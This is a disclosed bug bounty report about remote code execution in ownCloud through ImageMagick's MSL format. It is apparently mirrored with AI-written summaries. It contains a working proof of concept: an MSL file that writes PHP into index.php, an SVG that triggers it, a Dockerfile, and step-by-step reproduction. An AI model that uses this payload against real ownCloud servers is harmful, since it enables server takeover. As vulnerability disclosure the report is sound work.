Remote Code Execution on ownCloud instances with ImageMagick installed
ownCloud used ImageMagick to generate previews for some file types, and ImageMagick's MSL format could be abused to read and write files on the server. An attacker who could upload files and knew a file path could overwrite a PHP file and run arbitrary code.
Originally disclosed on HackerOne
- Triaged in 13 hours
- Fixed in 54 days
- Paid in 54 days
- Disclosed after 3 months
It is possible to execute code on ownCloud instances which have ImageMagick installed. This is due to the usage of ImageMagick for preview generation for some file types. (anything using OC\Preview\Bitmap)
The prerequisite for exploitation seem to be:
- ImageMagick is installed (e.g. as described in the ownCloud documentation)
- The attacker knows the file path of a file that they uploaded (e.g.
/mnt/data/files/) - The attacker is able to upload files to the system (e.g. by using File Drop Folders or having an account)
To reproduce we have provided the following files:
- F2127559
FROM owncloud/server:10.11
RUN apt-get update && apt-get install -y imagemagick
- F2127558
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/mnt/data/files/admin/files/Photos/Portugal.jpg" />
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<comment><?php echo php_uname(); ?></comment>
<write filename="/var/www/owncloud/index.php" />
</image>
- F2127557
<svg width="1000" height="1000"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href="msl:/mnt/data/files/admin/files/exploit.msl" height="500" width="500"/>
</svg>
Download these files and then perform the following steps:
- Build the docker image
docker build . -t owncloud-imagemagick
- Start the docker image
docker run --rm --name oc-eval -d -p8080:8080 owncloud-imagemagick:latest
- Open the ownCloud instance at localhost:8080 and login using the username “admin” and the password “admin”.
- Upload the file exploit.msl
- Upload the file image.rgb
- Reload the page, at this point you will be served the new rewritten index.php that will also perform the phpinfo() command. (you can change which file should be overwritten and what PHP code will be executed inside exploit.msl)

Impact
Attackers that are able to upload files to a ownCloud instance with ImageMagick installed can execute arbitrary code on the system.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the preview generator passed attacker-controlled files to ImageMagick without restricting its MSL delegate, allowing file read and write outside the intended preview area.
Impact
Attackers able to upload files to an ownCloud instance with ImageMagick installed could execute arbitrary code on the system.
What the attacker needed
ImageMagick installed; Attacker can upload files; Attacker knows a file path
How it was found
- Build the provided Docker image with ImageMagick installed.
- Start the container and open the ownCloud instance, logging in as the default admin.
- Upload the crafted MSL file and the image file.
- Reload the page so the overwritten PHP file is served and the injected code runs.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ImageMagick is a tool that makes thumbnails and previews of images. It can also follow instructions written inside a special image file, including instructions to save a new file somewhere on the server. Because ownCloud passed uploaded files to it, an attacker could make it overwrite a web page with their own code, which the server would then run.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.